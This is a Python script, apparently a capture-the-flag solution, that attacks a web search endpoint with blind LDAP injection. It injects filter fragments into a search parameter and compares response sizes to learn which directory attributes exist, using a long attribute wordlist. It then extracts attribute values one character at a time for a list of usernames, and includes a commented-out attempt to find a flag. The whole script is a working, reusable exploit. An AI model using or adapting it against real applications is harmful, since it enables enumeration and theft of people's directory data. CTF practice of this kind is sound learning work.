import requests
import string

base_url = 'http://jh2i.com:50019'

empty_size = 0

req = requests.get(base_url + '/?search=asdf')
empty_size = len(req.content)

def attribFinder(attrib):
    req = requests.get(base_url + '/?search=*)(' + attrib + '=*')
    size = len(req.content)
    if size != empty_size:
        print('[*] Something found for attribute: ' + attrib)

#attribs = ['dc','o','ou','cn','uid','mail','member','uniquemember','memberof','sAMAccountName', 'primaryGroupToken','primaryGroupID']
attribs = ['buildingname', 'c', 'cn', 'co', 'comment', 'commonname', 'company', 'description', 'distinguishedname', 'dn', 'department', 'displayname', 'facsimiletelephonenumber', 'fax', 'friendlycountryname', 'givenname', 'homephone', 'homepostaladdress', 'info', 'initials', 'ipphone', 'l', 'mail', 'mailnickname', 'rfc822mailbox', 'mobile', 'mobiletelephonenumber', 'name', 'othertelephone', 'ou', 'pager', 'pagertelephonenumber', 'physicaldeliveryofficename', 'postaladdress', 'postalcode', 'postofficebox', 'samaccountname', 'serialnumber', 'sn', 'surname', 'st', 'stateorprovincename', 'street', 'streetaddress', 'telephonenumber', 'title', 'uid', 'url', 'userprincipalname', 'wwwhomepage']

'''
for attrib in attribs:
    attribFinder(attrib)
'''

# found attribs: ['cn', 'commonname', 'description', 'displayname', 'givenname', 'mail', 'rfc822mailbox', 'name', 'sn', 'surname']

def valueFinder(username, attrib, prefix=''):
    current = prefix
    searchSpace = string.ascii_lowercase + string.digits + '@.-/ {}_'
    continueSearching = True

    while continueSearching:
        continueSearching = False
        for char in searchSpace:
            req = requests.get(base_url + '/?search=' + username + ')(' + attrib + '=' + current + char + '*')
            size = len(req.content)
            if size != empty_size:
                continueSearching = True
                current += char
                #print('[*] Found next char of attrib: ' + current)
                break

    print('[*] Finished searching, found attrib value pair ' + attrib + ':' + current + ' for ' + username)

usernames = ['administrator', 'congon4tor', 'george.ward', 'lesley.graham', 'brynn.wilson', 'will.newman', 'justice.ryan', 'mel.simpson', 'sam.fisher', 'reggie.evans', 'angel.campbell', 'terry.molina']
found_attribs = ['commonname', 'description', 'displayname', 'givenname', 'rfc822mailbox', 'name', 'sn', 'surname']
# I removed cn cuz that's useless and mail cuz that's visible

for username in usernames:
    print('[*] Searching for ' + username)
    for attrib in found_attribs:
        valueFinder(username, attrib)

'''
# attempted cheese to find any attrib with flag{ but it's failing rip
for attrib in found_attribs:
    print('[*] Searching for ' + attrib)
    valueFinder('*', attrib, 'flag')
'''
